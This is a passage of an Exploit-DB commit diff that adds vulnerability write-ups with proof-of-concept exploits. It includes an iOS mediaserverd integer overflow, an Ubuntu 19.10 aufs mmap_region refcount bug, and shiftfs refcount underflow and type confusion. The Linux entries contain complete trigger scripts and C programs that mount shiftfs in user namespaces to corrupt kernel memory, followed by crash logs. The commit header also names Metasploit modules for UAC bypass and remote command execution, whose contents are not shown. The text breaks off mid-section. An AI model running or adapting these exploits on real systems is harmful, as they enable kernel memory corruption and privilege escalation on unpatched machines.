DB: 2019-11-21
11 changes to exploits/shellcodes Ubuntu 19.10 - ubuntu-aufs-modified mmap_region() Breaks Refcounting in overlayfs/shiftfs Error Path Ubuntu 19.10 - Refcount Underflow and Type Confusion in shiftfs iOS 12.4 - Sandbox Escape due to Integer Overflow in mediaserverd Windows - Escalate UAC Protection Bypass (Via dot net profiler) (Metasploit) Windows - Escalate UAC Protection Bypass (Via Shell Open Registry Key) (Metasploit) Xorg X11 Server - Local Privilege Escalation (Metasploit) FusionPBX - Operator Panel exec.php Command Execution (Metasploit) FreeSWITCH - Event Socket Command Execution (Metasploit) Bludit - Directory Traversal Image File Upload (Metasploit) Pulse Secure VPN - Arbitrary Command Execution (Metasploit) OpenNetAdmin 18.1.1 - Remote Code Execution
This commit is contained in:
parent
72cddaee51
commit
cacee46726
12 changed files with 1958 additions and 0 deletions
55
exploits/ios/dos/47694.txt
Normal file
55
exploits/ios/dos/47694.txt
Normal file
|
@ -0,0 +1,55 @@
|
||||||
|
mediaserverd has various media parsing responsibilities; its reachable from various sandboxes
|
||||||
|
and is able to talk to interesting kernel drivers so is a valid target in an exploit chain.
|
||||||
|
|
||||||
|
One of the services it vends is com.apple.audio.AudioFileServer, a fairly simple XPC service
|
||||||
|
which will parse audio files on behalf of clients and send them the raw bytes.
|
||||||
|
|
||||||
|
Files are opened via their ipod-library:// URL; for the purposes of this PoC you will need to
|
||||||
|
ensure there is at least one audio file in the iTunes library
|
||||||
|
(I've used one of my highschool band's MP3s, available on request, it's not that bad!)
|
||||||
|
|
||||||
|
The files are actually parsed by the AudioFileReadPacketData method; here's the prototype from the docs:
|
||||||
|
|
||||||
|
OSStatus AudioFileReadPacketData(AudioFileID inAudioFile,
|
||||||
|
Boolean inUseCache,
|
||||||
|
UInt32 *ioNumBytes,
|
||||||
|
AudioStreamPacketDescription *outPacketDescriptions,
|
||||||
|
SInt64 inStartingPacket,
|
||||||
|
UInt32 *ioNumPackets,
|
||||||
|
void *outBuffer);
|
||||||
|
|
||||||
|
The docs tell us the meaning of the ioNumBytes and outBuffer arguments:
|
||||||
|
|
||||||
|
ioNumBytes
|
||||||
|
On input, the size of the outBuffer parameter, in bytes. On output, the number of bytes actually read.
|
||||||
|
|
||||||
|
outBuffer
|
||||||
|
Memory that you allocate to hold the read packets. Determine an appropriate size by multiplying
|
||||||
|
the number of packets requested (in the ioNumPackets parameter) by the typical packet size
|
||||||
|
for the audio data in the file. For uncompressed audio formats, a packet is equal to a frame.
|
||||||
|
|
||||||
|
For the purposes of the bug this function has memcpy semantics; the value pointed to
|
||||||
|
by ioNumBytes will be considered the correct size of the output buffer;
|
||||||
|
AudioFileReadPacketData will be unable to verify that; it's up to the caller.
|
||||||
|
|
||||||
|
Looking at the code which calls this the values are derived from three values passed
|
||||||
|
in the 'read' xpc message:
|
||||||
|
|
||||||
|
numbytes (uint64), numpackets (uint64), startingPacket (int64)
|
||||||
|
|
||||||
|
Those values are truncated to 32 bits then passed through a few layers of function calls during which
|
||||||
|
various integer overflow occur when they're multiplied and added (there are no checks anywhere.)
|
||||||
|
|
||||||
|
You eventually end up in a curious allocation routine which is able to allocate three different types of
|
||||||
|
shared memory using either mach memory entries, posix shm or xpc_shmem. This service uses posix_shm,
|
||||||
|
the PoC should cause mediaserverd to shm_truncate and mmap a 0x4000 byte region,
|
||||||
|
then attempt to write significantly more bytes there.
|
||||||
|
|
||||||
|
In the debug_output.txt file you can see the debug output and crash log demonstrating that audio data has clearly
|
||||||
|
corrupted an object and caused a pointer to be overwritten with audio data.
|
||||||
|
|
||||||
|
Tested on iOS 12.4 (16G77) on iPod touch 6G
|
||||||
|
|
||||||
|
|
||||||
|
Proof of Concept:
|
||||||
|
https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/47694.zip
|
188
exploits/linux/dos/47692.txt
Normal file
188
exploits/linux/dos/47692.txt
Normal file
|
@ -0,0 +1,188 @@
|
||||||
|
Tested on 19.10.
|
||||||
|
|
||||||
|
Ubuntu's aufs kernel patch includes the following change (which I interestingly
|
||||||
|
can't see in the AUFS code at
|
||||||
|
https://github.com/sfjro/aufs5-linux/blob/master/mm/mmap.c):
|
||||||
|
|
||||||
|
==================================================================
|
||||||
|
+#define vma_fput(vma) vma_do_fput(vma, __func__, __LINE__)
|
||||||
|
[...]
|
||||||
|
@@ -1847,8 +1847,8 @@ unsigned long mmap_region(struct file *file, unsigned long addr,
|
||||||
|
return addr;
|
||||||
|
|
||||||
|
unmap_and_free_vma:
|
||||||
|
+ vma_fput(vma);
|
||||||
|
vma->vm_file = NULL;
|
||||||
|
- fput(file);
|
||||||
|
|
||||||
|
/* Undo any partial mapping done by a device driver. */
|
||||||
|
unmap_region(mm, vma, prev, vma->vm_start, vma->vm_end);
|
||||||
|
[...]
|
||||||
|
+void vma_do_fput(struct vm_area_struct *vma, const char func[], int line)
|
||||||
|
+{
|
||||||
|
+ struct file *f = vma->vm_file, *pr = vma->vm_prfile;
|
||||||
|
+
|
||||||
|
+ prfile_trace(f, pr, func, line, __func__);
|
||||||
|
+ fput(f);
|
||||||
|
+ if (f && pr)
|
||||||
|
+ fput(pr);
|
||||||
|
+}
|
||||||
|
==================================================================
|
||||||
|
|
||||||
|
This means that in the case where call_mmap() returns an error to mmap_region(),
|
||||||
|
fput() will be called on the current value of vma->vm_file instead of the saved
|
||||||
|
file pointer. This matters if the ->mmap() handler replaces ->vm_file before
|
||||||
|
returning an error code.
|
||||||
|
|
||||||
|
overlayfs and shiftfs do that when call_mmap() on the lower filesystem fails,
|
||||||
|
see ovl_mmap() and shiftfs_mmap().
|
||||||
|
|
||||||
|
To demonstrate the issue, the PoC below mounts a shiftfs that is backed by a
|
||||||
|
FUSE filesystem with the FUSE flag FOPEN_DIRECT_IO, which causes fuse_file_mmap()
|
||||||
|
to bail out with -ENODEV if MAP_SHARED is set.
|
||||||
|
|
||||||
|
I would have used overlayfs instead, but there is an unrelated bug that makes it
|
||||||
|
impossible to mount overlayfs inside a user namespace:
|
||||||
|
Commit 82c0860106f264 ("UBUNTU: SAUCE: overlayfs: Propogate nosuid from lower
|
||||||
|
and upper mounts") defines SB_I_NOSUID as 0x00000010, but SB_I_USERNS_VISIBLE
|
||||||
|
already has the same value. This causes mount_too_revealing() to bail out with a
|
||||||
|
WARN_ONCE().
|
||||||
|
|
||||||
|
Note that this PoC requires the "bindfs" package and should be executed with
|
||||||
|
"slub_debug" in the kernel commandline to get a clear crash.
|
||||||
|
|
||||||
|
==================================================================
|
||||||
|
Ubuntu 19.10 user-Standard-PC-Q35-ICH9-2009 ttyS0
|
||||||
|
|
||||||
|
user-Standard-PC-Q35-ICH9-2009 login: user
|
||||||
|
Password:
|
||||||
|
Last login: Fr Nov 1 23:45:36 CET 2019 on ttyS0
|
||||||
|
Welcome to Ubuntu 19.10 (GNU/Linux 5.3.0-19-generic x86_64)
|
||||||
|
|
||||||
|
* Documentation: https://help.ubuntu.com
|
||||||
|
* Management: https://landscape.canonical.com
|
||||||
|
* Support: https://ubuntu.com/advantage
|
||||||
|
|
||||||
|
|
||||||
|
0 updates can be installed immediately.
|
||||||
|
0 of these updates are security updates.
|
||||||
|
|
||||||
|
user@user-Standard-PC-Q35-ICH9-2009:~$ ls
|
||||||
|
aufs-mmap Documents Music Public trace.dat
|
||||||
|
Desktop Downloads Pictures Templates Videos
|
||||||
|
user@user-Standard-PC-Q35-ICH9-2009:~$ cd aufs-mmap/
|
||||||
|
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat /proc/cmdline
|
||||||
|
BOOT_IMAGE=/boot/vmlinuz-5.3.0-19-generic root=UUID=f7d8d4fb-0c96-498e-b875-0b777127a332 ro console=ttyS0 slub_debug quiet splash vt.handoff=7
|
||||||
|
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run.sh
|
||||||
|
#!/bin/sh
|
||||||
|
sync
|
||||||
|
unshare -mUr ./run2.sh
|
||||||
|
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat run2.sh
|
||||||
|
#!/bin/bash
|
||||||
|
set -e
|
||||||
|
|
||||||
|
mount -t tmpfs none /tmp
|
||||||
|
mkdir -p /tmp/{lower,middle,upper}
|
||||||
|
touch /tmp/lower/foo
|
||||||
|
# mount some random FUSE filesystem with direct_io,
|
||||||
|
# doesn't really matter what it does as long as
|
||||||
|
# there's a file in it.
|
||||||
|
# (this is just to get some filesystem that can
|
||||||
|
# easily be convinced to throw errors from f_op->mmap)
|
||||||
|
bindfs -o direct_io /tmp/lower /tmp/middle
|
||||||
|
# use the FUSE filesystem to back shiftfs.
|
||||||
|
# overlayfs would also work if SB_I_NOSUID and
|
||||||
|
# SB_I_USERNS_VISIBLE weren't defined to the same
|
||||||
|
# value...
|
||||||
|
mount -t shiftfs -o mark /tmp/middle /tmp/upper
|
||||||
|
mount|grep shift
|
||||||
|
gcc -o trigger trigger.c -Wall
|
||||||
|
./trigger
|
||||||
|
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ cat trigger.c
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <err.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
int foofd = open("/tmp/upper/foo", O_RDONLY);
|
||||||
|
if (foofd == -1) err(1, "open foofd");
|
||||||
|
void *badmap = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
|
||||||
|
if (badmap == MAP_FAILED) {
|
||||||
|
perror("badmap");
|
||||||
|
} else {
|
||||||
|
errx(1, "badmap worked???");
|
||||||
|
}
|
||||||
|
sleep(1);
|
||||||
|
mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
|
||||||
|
}
|
||||||
|
user@user-Standard-PC-Q35-ICH9-2009:~/aufs-mmap$ ./run.sh
|
||||||
|
/tmp/middle on /tmp/upper type shiftfs (rw,relatime,mark)
|
||||||
|
badmap: No such device
|
||||||
|
[ 72.101721] general protection fault: 0000 [#1] SMP PTI
|
||||||
|
[ 72.111917] CPU: 1 PID: 1376 Comm: trigger Not tainted 5.3.0-19-generic #20-Ubuntu
|
||||||
|
[ 72.124846] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
|
||||||
|
[ 72.140965] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
|
||||||
|
[ 72.149210] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
|
||||||
|
[ 72.167229] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202
|
||||||
|
[ 72.170426] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000
|
||||||
|
[ 72.174528] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900
|
||||||
|
[ 72.177790] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000
|
||||||
|
[ 72.181199] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790
|
||||||
|
[ 72.186306] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740
|
||||||
|
[ 72.189705] FS: 00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000
|
||||||
|
[ 72.193073] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
|
||||||
|
[ 72.195390] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0
|
||||||
|
[ 72.198237] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
|
||||||
|
[ 72.200557] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
|
||||||
|
[ 72.202815] Call Trace:
|
||||||
|
[ 72.203712] mmap_region+0x417/0x670
|
||||||
|
[ 72.204868] do_mmap+0x3a8/0x580
|
||||||
|
[ 72.205939] vm_mmap_pgoff+0xcb/0x120
|
||||||
|
[ 72.207954] ksys_mmap_pgoff+0x1ca/0x2a0
|
||||||
|
[ 72.210078] __x64_sys_mmap+0x33/0x40
|
||||||
|
[ 72.211327] do_syscall_64+0x5a/0x130
|
||||||
|
[ 72.212538] entry_SYSCALL_64_after_hwframe+0x44/0xa9
|
||||||
|
[ 72.214177] RIP: 0033:0x7faa3ecc7af6
|
||||||
|
[ 72.215352] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
|
||||||
|
[ 72.222275] RSP: 002b:00007ffd0fc44c68 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
|
||||||
|
[ 72.224714] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007faa3ecc7af6
|
||||||
|
[ 72.228123] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
|
||||||
|
[ 72.230913] RBP: 0000000000000000 R08: 0000000000000003 R09: 0000000000000000
|
||||||
|
[ 72.233193] R10: 0000000000000001 R11: 0000000000000246 R12: 0000556248213100
|
||||||
|
[ 72.235448] R13: 00007ffd0fc44d70 R14: 0000000000000000 R15: 0000000000000000
|
||||||
|
[ 72.237681] Modules linked in: shiftfs intel_rapl_msr snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core snd_hwdep snd_pcm snd_seq_midi snd_seq_midi_event snd_rawmidi intel_rapl_common crct10dif_pclmul crc32_pclmul ghash_clmulni_intel aesni_intel aes_x86_64 crypto_simd snd_seq cryptd glue_helper joydev input_leds serio_raw snd_seq_device snd_timer snd qxl ttm soundcore qemu_fw_cfg drm_kms_helper drm fb_sys_fops syscopyarea sysfillrect sysimgblt mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover failover ahci psmouse lpc_ich i2c_i801 libahci virtio_blk
|
||||||
|
[ 72.257673] ---[ end trace 5d85e7b7b0bae5f5 ]---
|
||||||
|
[ 72.259237] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
|
||||||
|
[ 72.260990] Code: 8b e0 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
|
||||||
|
[ 72.269615] RSP: 0018:ffffc1490061bd40 EFLAGS: 00010202
|
||||||
|
[ 72.271414] RAX: 6b6b6b6b6b6b6b6b RBX: ffff9c1cf1ae5788 RCX: 7800000000000000
|
||||||
|
[ 72.273893] RDX: 8000000000000025 RSI: ffff9c1cf14bfdc8 RDI: ffff9c1cc48b5900
|
||||||
|
[ 72.276354] RBP: ffffc1490061bd60 R08: ffff9c1cf14bfdc8 R09: 0000000000000000
|
||||||
|
[ 72.278796] R10: ffff9c1cf1ae5768 R11: 00007faa3eddb000 R12: ffff9c1cf1ae5790
|
||||||
|
[ 72.281095] R13: ffff9c1cc48b7740 R14: ffff9c1cf14bfdc8 R15: ffff9c1cf7209740
|
||||||
|
[ 72.284048] FS: 00007faa3ed9e540(0000) GS:ffff9c1cfbb00000(0000) knlGS:0000000000000000
|
||||||
|
[ 72.287161] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
|
||||||
|
[ 72.289164] CR2: 0000558ad728d3e0 CR3: 0000000144804003 CR4: 0000000000360ee0
|
||||||
|
[ 72.291953] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
|
||||||
|
[ 72.294487] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
|
||||||
|
==================================================================
|
||||||
|
|
||||||
|
Faulting code:
|
||||||
|
|
||||||
|
0000000F 55 push rbp
|
||||||
|
00000010 4889E5 mov rbp,rsp
|
||||||
|
00000013 4157 push r15
|
||||||
|
00000015 4156 push r14
|
||||||
|
00000017 4155 push r13
|
||||||
|
00000019 4154 push r12
|
||||||
|
0000001B 488B87C8000000 mov rax,[rdi+0xc8]
|
||||||
|
00000022 4C8B6810 mov r13,[rax+0x10]
|
||||||
|
00000026 498B4528 mov rax,[r13+0x28]
|
||||||
|
0000002A 4883786000 cmp qword [rax+0x60],byte +0x0 <<<< GPF HERE
|
||||||
|
0000002F 0F8497000000 jz near 0xcc
|
||||||
|
00000035 4989FC mov r12,rdi
|
||||||
|
00000038 4989F6 mov r14,rsi
|
||||||
|
|
||||||
|
As you can see, the poison value 6b6b6b6b6b6b6b6b is being dereferenced.
|
311
exploits/linux/dos/47693.txt
Normal file
311
exploits/linux/dos/47693.txt
Normal file
|
@ -0,0 +1,311 @@
|
||||||
|
Tested on Ubuntu 19.10, kernel "5.3.0-19-generic #20-Ubuntu".
|
||||||
|
|
||||||
|
Ubuntu ships a filesystem "shiftfs" in fs/shiftfs.c in the kernel tree that
|
||||||
|
doesn't exist upstream. This filesystem can be mounted from user namespaces,
|
||||||
|
meaning that this is attack surface from unprivileged userspace in the default
|
||||||
|
installation.
|
||||||
|
|
||||||
|
There are two memory safety bugs around shiftfs_btrfs_ioctl_fd_replace().
|
||||||
|
|
||||||
|
#################### Bug 1: Flawed reference counting ####################
|
||||||
|
|
||||||
|
In shiftfs_btrfs_ioctl_fd_replace() ("//" comments added by me):
|
||||||
|
|
||||||
|
|
||||||
|
src = fdget(oldfd);
|
||||||
|
if (!src.file)
|
||||||
|
return -EINVAL;
|
||||||
|
// src holds one reference (assuming multithreaded execution)
|
||||||
|
|
||||||
|
ret = shiftfs_real_fdget(src.file, lfd);
|
||||||
|
// lfd->file is a file* now, but shiftfs_real_fdget didn't take any
|
||||||
|
// extra references
|
||||||
|
fdput(src);
|
||||||
|
// this drops the only reference we were holding on src, and src was
|
||||||
|
// the only thing holding a reference to lfd->file. lfd->file may be
|
||||||
|
// dangling at this point.
|
||||||
|
if (ret)
|
||||||
|
return ret;
|
||||||
|
|
||||||
|
*newfd = get_unused_fd_flags(lfd->file->f_flags);
|
||||||
|
if (*newfd < 0) {
|
||||||
|
// always a no-op
|
||||||
|
fdput(*lfd);
|
||||||
|
return *newfd;
|
||||||
|
}
|
||||||
|
|
||||||
|
fd_install(*newfd, lfd->file);
|
||||||
|
// fd_install() consumes a counted reference, but we don't hold any
|
||||||
|
// counted references. so at this point, if lfd->file hasn't been freed
|
||||||
|
// yet, its refcount is one lower than it ought to be.
|
||||||
|
|
||||||
|
[...]
|
||||||
|
|
||||||
|
// the following code is refcount-neutral, so the refcount stays one too
|
||||||
|
// low.
|
||||||
|
if (ret)
|
||||||
|
shiftfs_btrfs_ioctl_fd_restore(cmd, *lfd, *newfd, arg, v1, v2);
|
||||||
|
|
||||||
|
|
||||||
|
shiftfs_real_fdget() is implemented as follows:
|
||||||
|
|
||||||
|
static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
|
||||||
|
{
|
||||||
|
struct shiftfs_file_info *file_info = file->private_data;
|
||||||
|
struct file *realfile = file_info->realfile;
|
||||||
|
|
||||||
|
lowerfd->flags = 0;
|
||||||
|
lowerfd->file = realfile;
|
||||||
|
|
||||||
|
/* Did the flags change since open? */
|
||||||
|
if (unlikely(file->f_flags & ~lowerfd->file->f_flags))
|
||||||
|
return shiftfs_change_flags(lowerfd->file, file->f_flags);
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
Therefore, the following PoC will cause reference count overdecrements; I ran it
|
||||||
|
with SLUB debugging enabled and got the following splat:
|
||||||
|
|
||||||
|
=======================================
|
||||||
|
user@ubuntu1910vm:~/shiftfs$ cat run.sh
|
||||||
|
#!/bin/sh
|
||||||
|
sync
|
||||||
|
unshare -mUr ./run2.sh
|
||||||
|
t run2user@ubuntu1910vm:~/shiftfs$ cat run2.sh
|
||||||
|
#!/bin/sh
|
||||||
|
set -e
|
||||||
|
|
||||||
|
mkdir -p mnt/tmpfs
|
||||||
|
mkdir -p mnt/shiftfs
|
||||||
|
mount -t tmpfs none mnt/tmpfs
|
||||||
|
mount -t shiftfs -o mark,passthrough=2 mnt/tmpfs mnt/shiftfs
|
||||||
|
mount|grep shift
|
||||||
|
touch mnt/tmpfs/foo
|
||||||
|
gcc -o ioctl ioctl.c -Wall
|
||||||
|
./ioctl
|
||||||
|
user@ubuntu1910vm:~/shiftfs$ cat ioctl.c
|
||||||
|
#include <sys/ioctl.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <err.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
#include <linux/btrfs.h>
|
||||||
|
#include <sys/mman.h>
|
||||||
|
|
||||||
|
int main(void) {
|
||||||
|
int root = open("mnt/shiftfs", O_RDONLY);
|
||||||
|
if (root == -1) err(1, "open shiftfs root");
|
||||||
|
int foofd = openat(root, "foo", O_RDONLY);
|
||||||
|
if (foofd == -1) err(1, "open foofd");
|
||||||
|
struct btrfs_ioctl_vol_args iocarg = {
|
||||||
|
.fd = foofd
|
||||||
|
};
|
||||||
|
ioctl(root, BTRFS_IOC_SNAP_CREATE, &iocarg);
|
||||||
|
sleep(1);
|
||||||
|
void *map = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, foofd, 0);
|
||||||
|
if (map != MAP_FAILED) munmap(map, 0x1000);
|
||||||
|
}
|
||||||
|
user@ubuntu1910vm:~/shiftfs$ ./run.sh
|
||||||
|
none on /home/user/shiftfs/mnt/tmpfs type tmpfs (rw,relatime,uid=1000,gid=1000)
|
||||||
|
/home/user/shiftfs/mnt/tmpfs on /home/user/shiftfs/mnt/shiftfs type shiftfs (rw,relatime,mark,passthrough=2)
|
||||||
|
[ 183.463452] general protection fault: 0000 [#1] SMP PTI
|
||||||
|
[ 183.467068] CPU: 1 PID: 2473 Comm: ioctl Not tainted 5.3.0-19-generic #20-Ubuntu
|
||||||
|
[ 183.472170] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.12.0-1 04/01/2014
|
||||||
|
[ 183.476830] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
|
||||||
|
[ 183.478524] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
|
||||||
|
[ 183.484585] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
|
||||||
|
[ 183.486290] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
|
||||||
|
[ 183.489617] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
|
||||||
|
[ 183.491975] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
|
||||||
|
[ 183.494311] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
|
||||||
|
[ 183.496675] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
|
||||||
|
[ 183.499011] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
|
||||||
|
[ 183.501679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
|
||||||
|
[ 183.503568] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
|
||||||
|
[ 183.505901] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
|
||||||
|
[ 183.508229] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
|
||||||
|
[ 183.510580] Call Trace:
|
||||||
|
[ 183.511396] mmap_region+0x417/0x670
|
||||||
|
[ 183.512592] do_mmap+0x3a8/0x580
|
||||||
|
[ 183.513655] vm_mmap_pgoff+0xcb/0x120
|
||||||
|
[ 183.514863] ksys_mmap_pgoff+0x1ca/0x2a0
|
||||||
|
[ 183.516155] __x64_sys_mmap+0x33/0x40
|
||||||
|
[ 183.517352] do_syscall_64+0x5a/0x130
|
||||||
|
[ 183.518548] entry_SYSCALL_64_after_hwframe+0x44/0xa9
|
||||||
|
[ 183.520196] RIP: 0033:0x7f1d01bfaaf6
|
||||||
|
[ 183.521372] Code: 00 00 00 00 f3 0f 1e fa 41 f7 c1 ff 0f 00 00 75 2b 55 48 89 fd 53 89 cb 48 85 ff 74 37 41 89 da 48 89 ef b8 09 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 62 5b 5d c3 0f 1f 80 00 00 00 00 48 8b 05 61
|
||||||
|
[ 183.527210] RSP: 002b:00007ffdf50bae98 EFLAGS: 00000246 ORIG_RAX: 0000000000000009
|
||||||
|
[ 183.529582] RAX: ffffffffffffffda RBX: 0000000000000001 RCX: 00007f1d01bfaaf6
|
||||||
|
[ 183.531811] RDX: 0000000000000001 RSI: 0000000000001000 RDI: 0000000000000000
|
||||||
|
[ 183.533999] RBP: 0000000000000000 R08: 0000000000000004 R09: 0000000000000000
|
||||||
|
[ 183.536199] R10: 0000000000000001 R11: 0000000000000246 R12: 00005616cf6f5140
|
||||||
|
[ 183.538448] R13: 00007ffdf50bbfb0 R14: 0000000000000000 R15: 0000000000000000
|
||||||
|
[ 183.540714] Modules linked in: shiftfs intel_rapl_msr intel_rapl_common kvm_intel kvm irqbypass snd_hda_codec_generic ledtrig_audio snd_hda_intel snd_hda_codec snd_hda_core crct10dif_pclmul snd_hwdep crc32_pclmul ghash_clmulni_intel snd_pcm aesni_intel snd_seq_midi snd_seq_midi_event aes_x86_64 crypto_simd snd_rawmidi cryptd joydev input_leds snd_seq glue_helper qxl snd_seq_device snd_timer ttm drm_kms_helper drm snd fb_sys_fops syscopyarea sysfillrect sysimgblt serio_raw qemu_fw_cfg soundcore mac_hid sch_fq_codel parport_pc ppdev lp parport virtio_rng ip_tables x_tables autofs4 hid_generic usbhid hid virtio_net net_failover psmouse ahci i2c_i801 libahci lpc_ich virtio_blk failover
|
||||||
|
[ 183.560350] ---[ end trace 4a860910803657c2 ]---
|
||||||
|
[ 183.561832] RIP: 0010:shiftfs_mmap+0x20/0xd0 [shiftfs]
|
||||||
|
[ 183.563496] Code: 20 cf 5d c3 c3 0f 1f 44 00 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 48 8b 87 c8 00 00 00 4c 8b 68 10 49 8b 45 28 <48> 83 78 60 00 0f 84 97 00 00 00 49 89 fc 49 89 f6 48 39 be a0 00
|
||||||
|
[ 183.569438] RSP: 0018:ffffae48007c3d40 EFLAGS: 00010206
|
||||||
|
[ 183.571102] RAX: 6b6b6b6b6b6b6b6b RBX: ffff93f1fb7908a8 RCX: 7800000000000000
|
||||||
|
[ 183.573362] RDX: 8000000000000025 RSI: ffff93f1fb792208 RDI: ffff93f1f69fa400
|
||||||
|
[ 183.575655] RBP: ffffae48007c3d60 R08: ffff93f1fb792208 R09: 0000000000000000
|
||||||
|
[ 183.577893] R10: ffff93f1fb790888 R11: 00007f1d01d10000 R12: ffff93f1fb7908b0
|
||||||
|
[ 183.580166] R13: ffff93f1f69f9900 R14: ffff93f1fb792208 R15: ffff93f22f102e40
|
||||||
|
[ 183.582411] FS: 00007f1d01cd1540(0000) GS:ffff93f237a40000(0000) knlGS:0000000000000000
|
||||||
|
[ 183.584960] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
|
||||||
|
[ 183.586796] CR2: 00007f1d01bc4c10 CR3: 0000000242726001 CR4: 0000000000360ee0
|
||||||
|
[ 183.589035] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
|
||||||
|
[ 183.591279] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
|
||||||
|
=======================================
|
||||||
|
|
||||||
|
Disassembly of surrounding code:
|
||||||
|
|
||||||
|
55 push rbp
|
||||||
|
4889E5 mov rbp,rsp
|
||||||
|
4157 push r15
|
||||||
|
4156 push r14
|
||||||
|
4155 push r13
|
||||||
|
4154 push r12
|
||||||
|
488B87C8000000 mov rax,[rdi+0xc8]
|
||||||
|
4C8B6810 mov r13,[rax+0x10]
|
||||||
|
498B4528 mov rax,[r13+0x28]
|
||||||
|
4883786000 cmp qword [rax+0x60],byte +0x0 <-- GPF HERE
|
||||||
|
0F8497000000 jz near 0xcc
|
||||||
|
4989FC mov r12,rdi
|
||||||
|
4989F6 mov r14,rsi
|
||||||
|
|
||||||
|
This is an attempted dereference of 0x6b6b6b6b6b6b6b6b, which is POISON_FREE; I
|
||||||
|
think this corresponds to the load of "realfile->f_op->mmap" in the source code.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
#################### Bug 2: Type confusion ####################
|
||||||
|
|
||||||
|
shiftfs_btrfs_ioctl_fd_replace() calls fdget(oldfd), then without further checks
|
||||||
|
passes the resulting file* into shiftfs_real_fdget(), which does this:
|
||||||
|
|
||||||
|
static int shiftfs_real_fdget(const struct file *file, struct fd *lowerfd)
|
||||||
|
{
|
||||||
|
struct shiftfs_file_info *file_info = file->private_data;
|
||||||
|
struct file *realfile = file_info->realfile;
|
||||||
|
|
||||||
|
lowerfd->flags = 0;
|
||||||
|
